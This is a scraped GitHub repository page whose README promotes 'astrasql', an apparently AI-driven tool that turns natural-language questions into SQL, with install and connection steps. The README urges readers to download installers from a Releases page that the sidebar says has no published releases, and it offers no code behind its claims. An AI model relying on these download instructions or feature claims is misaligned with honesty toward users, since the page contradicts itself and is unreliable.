Skip to content

Drekovich/astrasql

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

10 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

πŸš€ astrasql - Simple SQL Queries from Natural Language

πŸ“₯ Download Now

Download Latest Release

πŸ“– Description

astrasql is an AI-powered application that turns natural language into SQL queries. It prioritizes your privacy by only processing metadata. You can securely run it on your own server. astrasql supports various databases, including PostgreSQL, MySQL, SQLite, SQL Server, Oracle, and MongoDB.

Whether you are a business analyst, a data enthusiast, or just curious about databases, our tool helps you generate SQL commands quickly and easily.

πŸš€ Getting Started

To start using astrasql, follow these steps:

1. Check System Requirements

Ensure your system meets the following basic requirements:

  • Operating System: Windows 10 or later, MacOS, or a recent version of Linux
  • RAM: Minimum 4GB
  • Storage: At least 200MB of free space
  • Database: Ensure you have one of the supported databases installed

2. Visit the Releases Page

To download the latest version of astrasql, visit the Releases page here.

3. Download the Application

On the Releases page, you will see a list of available versions. Look for the latest version indicated at the top. Click on the link for your operating system to download the installer file.

4. Install astrasql

Once the download is complete, follow these steps based on your operating system:

For Windows:

  1. Locate the downloaded .exe file in your Downloads folder.
  2. Double-click the file to start the installation.
  3. Follow the on-screen prompts to complete the installation.

For MacOS:

  1. Locate the downloaded .dmg file in your Downloads folder.
  2. Double-click the file to open it.
  3. Drag the astrasql icon to your Applications folder.

For Linux:

  1. Open a terminal window.
  2. Use the package manager to install. For example:
    sudo dpkg -i astrasql*.deb
  3. Follow any additional on-screen instructions.

5. Launch astrasql

After installation, launch the application using the following methods:

  • Windows: Find astrasql in your Start Menu and click to open.
  • MacOS: Open your Applications folder, and double-click on astrasql.
  • Linux: Use the terminal to run astrasql or find it in your applications menu.

6. Connect to Your Database

Upon launching the app, you will need to connect to one of the supported databases. Follow these steps:

  1. Click on the "New Connection" button.

  2. Fill in the required fields:

    • Database Type (select from the list)
    • Host (usually localhost for local databases)
    • Port Number (default port for your selected database)
    • Username and Password (if required)
  3. Click on "Connect" to establish the connection.

πŸ’‘ Using astrasql

  1. In the text box, type your question or command in natural language. For example, "Show me all the users from the last month."
  2. Click the "Convert" button.
  3. The application will generate the corresponding SQL query. You can run this query directly in your connected database.

🀝 Support and Community

If you need help or have questions about using astrasql, you can reach out to the community through our GitHub Discussions page. You can also find FAQs and troubleshooting tips in the Issues section.

πŸ“œ License

astrasql is open-source software, licensed under the MIT License. You can modify and distribute it as per the conditions laid out in the license file.

πŸ”— Additional Resources

Feel free to explore, ask questions, and enjoy your experience with astrasql!

Back to top

About

πŸ” Explore AstraSQL to simplify natural language queries into SQL, enhancing database interactions with effective, AI-driven tools.

Topics

Resources

License

Code of conduct

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors